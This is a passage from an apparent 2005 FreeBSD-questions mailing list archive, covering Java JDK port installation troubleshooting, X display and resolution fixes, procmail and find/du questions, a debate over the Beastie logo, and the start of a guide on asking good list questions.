Sat, Jan 15, 2005 at 09:06:17PM -0600, John wrote: > > > > > > >>OK, I must be dumb as a rock, because this has to have been > > > > > > >> discussed and documented 16 ways from Sunday, but I've > > > > > > >> looked in the FAQ, and looked in the Handbook, and I've gone > > > > > > >> through my copy of the latest edition of _The Complete > > > > > > >> FreeBSD_, but I simply do NOT get how to get Java support > > > > > > >> for FreeBSD.  I don't need the JDK, unless that's the only > > > > > > >> way to get a viable JRE. > > > > > > > > > > > > > > You can't get a separate 1.4+ JRE for FreeBSD, you need to > > > > > > > install the JDK; the JDK is available as a port in > > > > > > > java/jdk14. > > > > > > OK - I'm going to cut out a lot of the old, resolved history here, > > > and cut to the chase. >.... > > > (FreeBSD pearl.starfire.mn.org 5.3-STABLE FreeBSD 5.3-STABLE #3: Thu > > > Jan 27 23:26:17 CST 2005     > > > john@dauntless.starfire.mn.org:/usr/obj/usr/src/sys/PEARL  i386) I > > > get the following: >... > > > a+rx /usr/local/bin/registervm: not found > > > *** Error code 127 > > > > > > Stop in /usr/ports/java/jdk14. > > > pearl# > > > > > > Anybody got any clues for me? > > > > You need to install /usr/ports/java/javavmwrapper. When this happens, > > sometimes it's worthwhile to search on Google for the name of file that > > gave you the problem. In this case it's registervm, which caused the > > install to fail because it's not found on your system. javavmwrapper > > installs registervm, which I found by checking pkg_info -W registervm > > on my system, because it's already there, but a Google search will also > > show people who had the same problem, e.g., > > http://lists.freebsd.org/pipermail/freebsd-questions/2003-August/015208.html > > > > Just so you know ... OK, for anyone following along or for those who may be sifting through the archives in the future... I installed the javavmwrapper, and re-ran the install. It errored out complaining that javavm was already registered. I looked at the code, and it was a shell script, so I followed the code and found that it was looking for the entry in /usr/local/etc/javavms so I just nuked that file. The "make install" of jdk14 then succeeded! Yippee! When I tried to run java, however, I it said that it needed libm.so.2 and my system is already at libm.so.3, so I created an /etc/libmap.conf file as follows: [/usr/local/jdk1.4.2/] # All Java 1.4.1 programs use libthr # This works because "javavms" executes # programs with the full pathname libm.so.2 libm.so.3 This is probably because the server on which this was built is still running 5.2.1 and the system I'm installing it on is 5.3-STABLE. Now that I think of it, this is probably a BAD IDEA. I'm going to go back and upgrade the system that built it, and do a "make clean" and "make" for jdk14, then do the "make deinstall" and "make install" for this and see if I can't get rid of the libmap stuff, but for the moment, at least, I can do the following: java -version Java(TM) 2 Runtime Environment, Standard Edition (build 1.4.2-p7-john_01_feb_2005_15_43) Java HotSpot(TM) Client VM (build 1.4.2-p7-john_01_feb_2005_15_43, mixed mode) Yeee hah! Now I have to get physically near the machine and try the plugin hurdles and see if I can get java web stuff to run... -- John Lind john@starfire.MN.ORG From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 16:05:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CB74C16A4CE for ; Fri, 11 Feb 2005 16:05:45 +0000 (GMT) Received: from 9.hellooperator.net (cpc3-cdif2-3-0-cust202.cdif.cable.ntl.com [81.103.32.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5C17643D45 for ; Fri, 11 Feb 2005 16:05:45 +0000 (GMT) (envelope-from rasputnik@hellooperator.net) Received: from [10.4.0.5] (helo=eris.tenfour) by 9.hellooperator.net with esmtp (Exim 4.43) id 1CzdIc-0002DD-3F for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 16:05:43 +0000 Received: from rasputnik by eris.tenfour with local (Exim 4.44 (FreeBSD)) id 1CzdIb-000GEs-S4 for freebsd-questions@freebsd.org; Fri, 11 Feb 2005 16:05:41 +0000 Date: Fri, 11 Feb 2005 16:05:41 +0000 From: Dick Davies To: FreeBSD Questions Message-ID: <20050211160541.GK35853@eris.tenfour> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> User-Agent: Mutt/1.4.2.1i Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Dick Davies List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 16:05:45 -0000 * Bart Silverstrim [0201 13:01]: > > On Feb 11, 2005, at 2:18 AM, Anthony Atkielski wrote: > > >Ted Mittelstaedt writes: > > > >>That is so not true that it makes me almost as angry as the original > >>debate. > > > >Maybe getting angry about a mere logo is a bad sign. > > Just to sum up things as I understand it... > > People want to change the logo from Beastie to something else because > Beastie isn't professional enough, so some committers decided to hold a > contest for a new logo? Let me correct you there. This is what happened. Someone wanted a logo in addition to beastie. Someone got the wrong end of the stick. Everyone with an opinion decided to tell everyone it. -- 'My life, and by extension everyone else's, is meaningless.' -- Bender Rasputin :: Jack of All Trades - Master of Nuns From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 16:10:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0933016A4CE; Fri, 11 Feb 2005 16:10:03 +0000 (GMT) Received: from postino-1.etat.lu (postino-1.etat.lu [194.154.205.20]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3281F43D45; Fri, 11 Feb 2005 16:10:02 +0000 (GMT) (envelope-from didier.wiroth@mcesr.etat.lu) Received: from avirus-1.cie.etat.lu (dispatch-1.cie.etat.lu [148.110.137.6]) by postino-1.etat.lu (Postfix) with ESMTP id 15773120CBA4; Fri, 11 Feb 2005 17:10:01 +0100 (CET) Received: from avirus-1.cie.etat.lu (dispatch-1.cie.etat.lu [148.110.137.6]) by localhost (CIE ESMTP Dispatch 1) with ESMTP id E8A7E2307E; Fri, 11 Feb 2005 17:10:00 +0100 (CET) Received: from hermes-1.cie.etat.lu (hermes-1.cie.etat.lu [148.110.136.56]) by dispatch-1.cie.etat.lu (CIE ESMTP Dispatch 1) with ESMTP id CDD5B22D82; Fri, 11 Feb 2005 17:10:00 +0100 (CET) Received: from hermes-1.cie.etat.lu (hermes-1.cie.etat.lu [148.110.136.56]) by store.etat.lu (Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004)) with ESMTP id <0IBR00MJV8WOM6A0@store.etat.lu>; Fri, 11 Feb 2005 17:10:00 +0100 (MET) Received: from etat.lu ([148.110.136.56]) by store.etat.lu (Sun Java System Messaging Server 6.1 HotFix 0.05 (built Oct 21 2004)) with ESMTP id <0IBR00DMK8WOS5C0@store.etat.lu>; Fri, 11 Feb 2005 17:10:00 +0100 (MET) Received: from [192.168.2.43] (Forwarded-For: [158.64.124.178]) by store.etat.lu (mshttpd); Fri, 11 Feb 2005 17:10:00 +0100 Date: Fri, 11 Feb 2005 17:10:00 +0100 From: Didier Wiroth To: Michael Nottebrock Message-id: MIME-version: 1.0 X-Mailer: Sun Java(tm) System Messenger Express 6.1 HotFix 0.05 (built Oct 21 2004) Content-type: multipart/mixed; boundary="Boundary_(ID_m17xfgS+zxKzmkFL3kkwEw)" Content-language: fr X-Accept-Language: fr Priority: normal cc: freebsd-x11@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re : Re: xinerama with an "ati radeon 9200se" X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 16:10:03 -0000 This is a multi-part message in MIME format. --Boundary_(ID_m17xfgS+zxKzmkFL3kkwEw) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Content-disposition: inline Yes, I had already changed that, both have: VertRefresh 60 But it still doesn't work --Boundary_(ID_m17xfgS+zxKzmkFL3kkwEw) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Content-disposition: inline On Friday, 11. February 2005 16:41, Didier Wiroth wrote: > Thanks a lot. > Unfortunately still the same result! "no signal" on the digital output. Perhaps you're feeding your LCD/TFT with a signal it can't handle? Try conservative timings (60Hz refresh rate). -- ,_, | Michael Nottebrock | lofi@freebsd.org (/^ ^\) | FreeBSD - The Power to Serve | http://www.freebsd.org \u/ | K Desktop Environment on FreeBSD | http://freebsd.kde.org --Boundary_(ID_m17xfgS+zxKzmkFL3kkwEw)-- From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 16:23:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 99AF616A4CE for ; Fri, 11 Feb 2005 16:23:04 +0000 (GMT) Received: from out1.smtp.messagingengine.com (out1.smtp.messagingengine.com [66.111.4.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id E067E43D4C for ; Fri, 11 Feb 2005 16:23:00 +0000 (GMT) (envelope-from nkinkade@fastmail.fm) Received: from frontend2.messagingengine.com (frontend2.internal [10.202.2.151]) by frontend1.messagingengine.com (Postfix) with ESMTP id C1143C56B20; Fri, 11 Feb 2005 11:22:59 -0500 (EST) X-Sasl-enc: QzGyQsEh1As78PmGkTDdMw 1108138974 Received: from gentoo-npk.bmp.ub (unknown [206.27.244.136]) by www.fastmail.fm (Postfix) with ESMTP id 52638570326; Fri, 11 Feb 2005 11:22:54 -0500 (EST) Received: from nkinkade by gentoo-npk.bmp.ub with local (Exim 4.21) id 1CzdZI-0001H6-Rt; Fri, 11 Feb 2005 10:22:56 -0600 Date: Fri, 11 Feb 2005 10:22:56 -0600 From: Nathan Kinkade To: RL Message-ID: <20050211162256.GH8365@gentoo-npk.bmp.ub> Mail-Followup-To: RL , freebsd-questions@freebsd.org References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Mjcb6KWfk+dITC8b" Content-Disposition: inline In-Reply-To: X-PGP-Fingerprint: 3FDF A406 B149 3959 A8CB C5A9 3B46 4812 D852 7E49 User-Agent: Mutt/1.5.6i Sender: cc: freebsd-questions@freebsd.org Subject: Re: Can't get anything better than 800x600 resolution X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Nathan Kinkade List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 16:23:04 -0000 --Mjcb6KWfk+dITC8b Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline On Thu, Feb 10, 2005 at 03:56:46PM -0500, RL wrote: > I just got an Nvida PCI GeForce FX card, installed the NVIDIA drivers > correctly (it loads), did an xorgconfig, and made the appropriate > changed in xorg.conf. I have a "DefaultDepth 24" line and under depth > 24 I have Modes "1024 x768" etc... However, when I load X, it loads > at 800x600 and I can't up its resolution in GNOME nor can I up in on > my keyboard with the numeric +/- keys. Is is just a typo that you have "1024 x768" with a space between "1024" and the "x"? If not, then remove that space. Also, browse through /var/log/Xorg.0.log and it should tell you why it rejects a particular resolution. Here is a tiny snip from my Xorg.0.log file as an example: (II) NV(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan) (II) NV(0): Not using default mode "1280x960" (hsync out of range) (II) NV(0): Not using default mode "640x480" (hsync out of range) (WW) (1400x1050,Monitor0) mode clock 122MHz exceeds DDC maximum 110MHz (II) NV(0): Not using default mode "1152x864" (width too large for virtual size) (II) NV(0): Not using default mode "1152x768" (width too large for virtual size) (--) NV(0): Virtual size is 1024x768 (pitch 1024) (**) NV(0): *Default mode "1024x768": 94.5 MHz, 68.7 kHz, 85.0 Hz And there are a lot more lines than this, and you can see that there are various reasons why X might not allow a particular resolution or setting. Nathan --Mjcb6KWfk+dITC8b Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFCDNvgO0ZIEthSfkkRArZcAJ95jcNym+NKd0t7TQ2Xu7ZUyMtl+gCcD0v0 +u0TOcmKW0noRHWvzy7xfao= =1/fS -----END PGP SIGNATURE----- --Mjcb6KWfk+dITC8b-- From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 16:31:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1696316A4D6 for ; Fri, 11 Feb 2005 16:31:10 +0000 (GMT) Received: from clunix.cl.msu.edu (clunix.cl.msu.edu [35.9.2.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id 98E1043D4C for ; Fri, 11 Feb 2005 16:31:09 +0000 (GMT) (envelope-from jerrymc@clunix.cl.msu.edu) Received: (from jerrymc@localhost) by clunix.cl.msu.edu (8.11.7p1+Sun/8.11.7) id j1BGUKr29099; Fri, 11 Feb 2005 11:30:20 -0500 (EST) From: Jerry McAllister Message-Id: <200502111630.j1BGUKr29099@clunix.cl.msu.edu> To: david+dated+1108568466.f3dbb6@skytracker.ca (David Banning) Date: Fri, 11 Feb 2005 11:30:19 -0500 (EST) In-Reply-To: <20050211154101.GA16438@skytracker.ca> from "David Banning" at Feb 11, 2005 10:41:01 AM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: questions@freebsd.org Subject: Re: too many procmail processes running X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 16:31:10 -0000 > > My machine is running too many procmail processes. I believe that > they are taking too long to run. Eventually it shuts down my machine. > > Any idea what could be causing this? We saw that sort of thing with some of our systems. I did not work on that problem, but I seem to remember that it had to do with a bug that the procmail processes were not finishing and just hanging around. I don't remember what was done to fix it and the guy who worked on it isn't here right now. But, you might search for something about procmail processes not finishing/terminating properly. ////jerry > > -- > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 16:35:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E047916A4CE for ; Fri, 11 Feb 2005 16:35:55 +0000 (GMT) Received: from out1.smtp.messagingengine.com (out1.smtp.messagingengine.com [66.111.4.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id 861A043D31 for ; Fri, 11 Feb 2005 16:35:55 +0000 (GMT) (envelope-from nkinkade@fastmail.fm) Received: from frontend2.messagingengine.com (frontend2.internal [10.202.2.151]) by frontend1.messagingengine.com (Postfix) with ESMTP id 06898C55561; Fri, 11 Feb 2005 11:35:54 -0500 (EST) X-Sasl-enc: 9j7wHhFdr5popPlG13LDiQ 1108139748 Received: from gentoo-npk.bmp.ub (unknown [206.27.244.136]) by www.fastmail.fm (Postfix) with ESMTP id E8ABD570326; Fri, 11 Feb 2005 11:35:48 -0500 (EST) Received: from nkinkade by gentoo-npk.bmp.ub with local (Exim 4.21) id 1Czdlm-0001Ht-JR; Fri, 11 Feb 2005 10:35:50 -0600 Date: Fri, 11 Feb 2005 10:35:50 -0600 From: Nathan Kinkade To: Chris Sechiatano Message-ID: <20050211163550.GI8365@gentoo-npk.bmp.ub> Mail-Followup-To: Chris Sechiatano , freebsd-questions@freebsd.org References: <20050210231719.GA24067@chris-s.com> <20050210233311.GB3861@orion.daedalusnetworks.priv> <20050211002434.GC24067@chris-s.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="IRIOLc8eTv1AOxGv" Content-Disposition: inline In-Reply-To: <20050211002434.GC24067@chris-s.com> X-PGP-Fingerprint: 3FDF A406 B149 3959 A8CB C5A9 3B46 4812 D852 7E49 User-Agent: Mutt/1.5.6i Sender: cc: freebsd-questions@freebsd.org Subject: Re: Script Questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Nathan Kinkade List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 16:35:56 -0000 --IRIOLc8eTv1AOxGv Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Feb 10, 2005 at 04:24:34PM -0800, Chris Sechiatano wrote: > > Use -print0 (that's a zero at the end of print), and the -0 option of > > xargs. Then the whitespace shouldn't matter. > >=20 > > # cd /storage/users > > # find . -type d -print0 | xargs -0 du -sk > >=20 > > That should do it. > >=20 > > - Giorgos > > This is close to what I was trying before. Is there a way I can pipe the > output of locate into xargs? The filesystem is 680 Gigs and I'd like to > only search it once if possible. >=20 > This doesn't work: >=20 > # slocate -i -d /tmp/04vfile001_db *.wmv | xargs -0 ls -l How about using differnt tools altogether? If you are not concerned with lots of little files, but mostly worried about lots of large files then how about using a mixture of find(1) and du(1)? You can pass a -size argument to find that will only give you files greater than a certain size, for example: # find /home/users -size +10240k > big_files This should find every file that exceeds approx. 10MB in size and dump the output to file for later parsing. Or if you are concerned with the overall size of a particular group of directories (perhaps those of users) something like this should work: # find /home/users -type d -maxdepth 1 | xargs du -sh Nathan --IRIOLc8eTv1AOxGv Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFCDN7mO0ZIEthSfkkRAiBKAKDdVYbLIM5zoy5Rf3/a9gARAgzgvwCglGal DvnBL++Mc/QufQdwT89vCi4= =CfpN -----END PGP SIGNATURE----- --IRIOLc8eTv1AOxGv-- From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 16:37:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E2AAE16A4CE for ; Fri, 11 Feb 2005 16:37:39 +0000 (GMT) Received: from alpargata.net (alpargata.net [67.18.172.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id 580FD43D1D for ; Fri, 11 Feb 2005 16:37:39 +0000 (GMT) (envelope-from nospam@illusionart.com) Received: from [192.168.1.100] (dsl081-061-217.dsl-isp.net [64.81.61.217] (may be forged)) (authenticated bits=0) by alpargata.net (8.13.1/8.13.1) with ESMTP id j1BH1bpv067362 for ; Fri, 11 Feb 2005 11:01:38 -0600 (CST) (envelope-from nospam@illusionart.com) Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <20050211153831.0B29D16A4D3@hub.freebsd.org> References: <20050211153831.0B29D16A4D3@hub.freebsd.org> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <48C6F1D6-7C4B-11D9-A6C5-000D93C7878E@illusionart.com> Content-Transfer-Encoding: 7bit From: Vonleigh Simmons Date: Fri, 11 Feb 2005 08:37:56 -0800 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-Virus-Scanned: ClamAV 0.80/624/Thu Dec 9 13:01:06 2004 clamav-milter version 0.80j on alpargata.net X-Virus-Status: Clean Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 16:37:40 -0000 > People want to change the logo from Beastie to something else because > Beastie isn't professional enough, so some committers decided to hold a > contest for a new logo? As an artist here is how I see it: Beastie is a mascot, not a logo. It's like having "Disney" with a Mickey Mouse. The logo is either the word Disney in that very distinct font, or the black ears. The mascot can be part of the logo but not always; in the Disney example it's derived from it (this approach could work with Beastie). Another example is monster.com, that also has a distinct mascot and a logo (don't like the logo, just pointing it out). So the logo contest could use beastie in some interesting way: framed, simplified, stylized, vectorized, etc. In other words made into a real logo from the cartoon character. By stylize I mean for example what the fox looks like in the firefox logo. Changing logos is never a good thing, it's best done if it's done gradually (think apple losing the stripes). However I don't feel like freebsd has ever really had a logo identity to begin with. Just look here, all the beasties are different: If you're going to use beastie just standing like that, it has to be done much better, vectorize it or do it at a higher resolution. There needs to be a real professional logo. Finally: it's not about marketing, it's not about commercialization, it's about image. This is a very professional product, many people have contributed years of very hard work to get FreeBSD where it is today. The logo should show the dedication to the project and the high quality to which it aspires. If the image looks like it's drawn by a 15 year old[1], then that's what the project will look like. Ya, "don't judge a book by it's cover" sounds great if no one did it. Vonleigh Simmons [1] No offense intended. I don't think beastie is bad in any way, I just think that it looks dated; even the lettering for FreeBSD is dated as well. From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 16:46:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3E90F16A4CE for ; Fri, 11 Feb 2005 16:46:04 +0000 (GMT) Received: from web50310.mail.yahoo.com (web50310.mail.yahoo.com [206.190.38.243]) by mx1.FreeBSD.org (Postfix) with SMTP id B474F43D1D for ; Fri, 11 Feb 2005 16:46:03 +0000 (GMT) (envelope-from murcielako@yahoo.com) Received: (qmail 43216 invoked by uid 60001); 11 Feb 2005 16:46:03 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=YQEhT/hpqHxRmNOYJN2RxVvsCAtn8QfTajlp5AHbHgn0oqLVcGz7/rZ6NUqcliFKzzENHx+TAApMx1903BEbJ2OgOJNQt4HA/aJGTkeSWSXw/4bQbZ5gAGntakYOI88Bh1sJubo40wpej9bKJ6LCfuIj7OpW8ilJA0PQJ67k6aU= ; Message-ID: <20050211164603.43213.qmail@web50310.mail.yahoo.com> Received: from [200.116.132.211] by web50310.mail.yahoo.com via HTTP; Fri, 11 Feb 2005 10:46:02 CST Date: Fri, 11 Feb 2005 10:46:02 -0600 (CST) From: "Jorge Mario G." To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: (mySQL) benchmarks strike back X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 16:46:04 -0000 Hi there I just read http://software.newsforge.com/software/04/12/27/1243207.shtml?tid=72&tid=29%20result and as in any onther benchmark there is a lot stuff that can be arguable. I would like to know why is that happening? the problem is that "we" are pushing FreeBSD/postgreSQL as a database solution, and I am the guy to blame to, because I was the one who did advocacy for FreeBSD, so I'm sure my boss is going to ask me. And you told us to use FreeBSD instead of Linux? and I do not want to answer him "beastie is way more cool" I'm doing my own research but some help from here would be nice!!! Jorge Mario Mazo _________________________________________________________ Do You Yahoo!? Información de Estados Unidos y América Latina, en Yahoo! Noticias. Visítanos en http://noticias.espanol.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Fri Feb 11 17:02:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 645) id 4ABBB16A4D0; Fri, 11 Feb 2005 17:02:00 +0000 (GMT) To: FreeBSD-questions@FreeBSD.org Message-Id: <20050211170200.4ABBB16A4D0@hub.freebsd.org> Date: Fri, 11 Feb 2005 17:02:00 +0000 (GMT) From: grog@FreeBSD.ORG (Greg Lehey) Subject: How to get best results from FreeBSD-questions X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 11 Feb 2005 17:02:00 -0000 How to get the best results from FreeBSD questions. =================================================== Last update $Date: 2004/09/19 02:40:48 $ This is a regular posting to the FreeBSD questions mailing list. If you got it in answer to a message you sent, it means that the sender thinks that at least one of the following things was wrong with your message: - You left out a subject line, or the subject line was not appropriate. - You formatted it in such a way that it was difficult to read. - You asked more than one unrelated question in one message. - You sent out a message with an incorrect date, time or time zone. - You sent out the same message more than once. - You sent an 'unsubscribe' message to FreeBSD-questions. If you have done any of these things, there is a good chance that you will get more than one copy of this message from different people. Read on, and your next message will be more successful. This document is also available on the web at http://www.lemis.com/questions.html. ===================================================================== Contents: I: Introduction II: How to unsubscribe from FreeBSD-questions III: Should I ask -questions, -newbies or -hackers? IV: How to submit a question to FreeBSD-questions V: How to answer a question to FreeBSD-questions I: Introduction =============== This is a regular posting aimed to help both those seeking advice from FreeBSD-questions (the "newcomers"), and also those who answer the questions (the "hackers"). Note that the term "hacker" has nothing to do with breaking into other people's computers. The correct term for the latter activity is "cracker", but the popular press hasn't found out yet. The FreeBSD hackers disapprove strongly of cracking security, and have nothing to do with it. In the past, there has been some friction which stems from the different viewpoints of the two groups. The newcomers accused the hackers of being arrogant, stuck-up, and unhelpful, while the hackers accused the newcomers of being stupid, unable to read plain English, and expecting everything to be handed to them on a silver platter. Of course, there's an element of truth in both these claims, but for the most part these viewpoints come from a sense of frustration. In this document, I'd like to do something to relieve this frustration and help everybody get better results from FreeBSD-questions. In the following section, I recommend how to submit a question; after that, we'll look at how to answer one. II: How to unsubscribe from FreeBSD-questions ============================================== When you subscribed to FreeBSD-questions, you got a welcome message from freebsd-questions-request@FreeBSD.ORG. In this message, amongst other things, it told you how to unsubscribe. Here's a typical message: Welcome to the freebsd-questions@freebsd.org mailing list! If you ever want to unsubscribe or change your options (eg, switch to or from digest mode, change your password, etc.), visit your subscription page at: http://lists.freebsd.org/mailman/options/freebsd-questions/me@me.org (obviously, substitute your mail address for "me@me.org"). You can also make such adjustments via email by sending a message to: freebsd-questions-request@freebsd.org with the word 'help' in the subject or body (don't include the quotes), and you will get back a message with instructions. You must know your password to change your options (including changing the password, itself) or to unsubscribe. Normally, Mailman will remind you of your freebsd.org mailing list passwords once every month, although you can disable this if you prefer. This reminder will also include instructions on how to unsubscribe or change your account options. There is also a button on your options page that will email your current password to you. Here's the general information for the list you've subscribed to, in case you don't already have it: FREEBSD-QUESTIONS User questions This is the mailing list for questions about FreeBSD. You should not send "how to" questions to the technical lists unless you consider the question to be pretty technical. Normally, unsubscribing is even simpler than the message suggests: you don't need to specify your mail ID unless it is different from the one which you specified when you subscribed. If Majordomo replies and tells you (incorrectly) that you're not on the list, this may mean one of two things: 1. You have changed your mail ID since you subscribed. That's where keeping the original message from majordomo comes in handy. For example, the sample message above shows my mail ID as grog@lemis.de. Since then, I have changed it to grog@lemis.com. If I were to try to remove grog@lemis.com from the list, it would fail: I would have to specify the name with which I joined. 2. You're subscribed to a mailing list which is subscribed to FreeBSD-questions. If that's the case, you'll have to figure out which one it is and get your name taken off that one. If you're not sure which one it might be, check the headers of the messages you receive from freebsd-questions: maybe there's a clue there. If you've done all this, and you still can't figure out what's going on, send a message to Postmaster@FreeBSD.org, and he will sort things out for you. Don't send a message to FreeBSD-questions: they can't help you. III: Should I ask -questions, -newbies or -hackers? =================================================== Two mailing lists handle general questions about FreeBSD, FreeBSD-questions and FreeBSD-hackers. In addition, the FreeBSD-newbies list caters specifically for people who are new to FreeBSD and may be having trouble getting used to the environment. In some cases, it's not really clear which group you should ask. The following criteria should help for 99% of all questions, however: If the question is of a general nature, first check whether this isn't a Frequently Asked Question (FAQ). There's a list of these questions at http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/index.html, and also on your own system (once you've installed it) at /usr/share/doc/en/books/faq/index.html. Check there, and if you don't find an answer, ask FreeBSD-questions. Examples might be questions about installing FreeBSD or the use of a particular UNIX utility. If you think the question relates to a bug, but you're not sure, or you don't know how to look for it, send the message to FreeBSD-questions. If the question relates to a bug, and you're almost sure that it's a bug (for example, you can pinpoint the place in the code where it happens, and you maybe have a fix), then send the message to FreeBSD-hackers. You should also enter a problem report with the send-pr utility. If the question relates to enhancements to FreeBSD, and you can make suggestions about how to implement them, then send the message to FreeBSD-hackers. If the question is of particularly technical nature, such as implementation details or suggestions for improvements, then send the message to FreeBSD-hackers. If you're new to FreeBSD, and the message is about your own relationship to FreeBSD, send the message to FreeBSD-newbies. There are also a number of other specialized mailing lists, for example FreeBSD-isp, which caters to the interests of ISPs (Internet Service Providers) who run FreeBSD. If you happen to be an ISP, this doesn't mean you should automatically send your questions to FreeBSD-isp. The criteria above still apply, and it's in your interest to stick to them, since you're more likely to get good results that way. IV: How to submit a question ============================= When submitting a question to FreeBSD-questions, consider the following points: 1. Remember that nobody gets paid for answering a FreeBSD question. They do it of their own free will. You can influence this free will positively by submitting a well-formulated question supplying as much relevant information as possible. You can influence this free will negatively by submitting an incomplete, illegible, or rude question. It's perfectly possible to send a message to FreeBSD-questions and not get an answer even if you follow these rules. It's much more possible to not get an answer if you don't. In the rest of this document, we'll look at how to get the most out of your question to FreeBSD-questions. 2. Not everybody who answers FreeBSD questions reads every message: they look at the subject line and decide whether it interests them. Clearly, it's in your interest to specify a subject. ``FreeBSD problem'' or ``Help'' aren't enough. If you provide no subject at all, many people won't bother reading it. If your subject isn't specific enough, the people who can answer it may not read it. 3. When sending a new message, well, send a new message. Don't reply to some other message, erase the old content and change the subject line. That leaves an In-reply-to: header which many mail readers use to thread messages, so your message shows up as a reply to some other message. People often delete messages a 